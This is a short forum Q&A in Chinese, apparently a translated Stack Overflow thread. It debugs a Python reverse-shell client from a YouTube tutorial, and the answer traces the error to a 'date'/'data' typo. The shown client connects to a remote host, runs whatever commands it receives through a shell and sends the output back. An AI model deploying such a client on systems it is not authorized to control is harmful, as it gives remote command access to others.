套接字客户端问题“__getitem__”

socket client issue '__getitem__'

你好,我在 youtube https://www.youtube.com/watch?v=-QMPYah8fWI&index=5&list=PL6gx4Cwl9DGCbpkBEMiCaiu_3OL-_Bz_8][1]

中观看了一些关于使用 python 的 Revers shell 的教程

这个客户端的目的是从服务器接收命令,服务器运行良好但是当我 运行 客户端它给了我这个

File "/root/Desktop/Revers/client.py", line 15, in <module>
if data[:2].decode('utf-8') == "cd":
TypeError: 'module' object has no attribute '__getitem_

这是代码:

 s = socket.socket()
 s.connect((host, port))

 while True:
     date = s.recv(1024)
     if data[:2].decode('utf-8') == "cd":
         os.chdir(data[3:].decode("utf-8"))
     if len(data) > 0:
         cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
                           stdin=subprocess.PIPE)
         output_bytes = cmd.stdout.read() + cmd.stderr.read()
         output_str = str(output_bytes)
         s.send(str.encode(output_str + str(os.getcwd()) + '> '))
         print(output_str)

 s.close()

这一行有错别字:

     date = s.recv(1024)

date 而不是 data.

因此表达式 data[:2] 调用 data.__getitem__,其中 data 之前已定义。

关于'module' object的错误,我猜data是你之前导入的模块。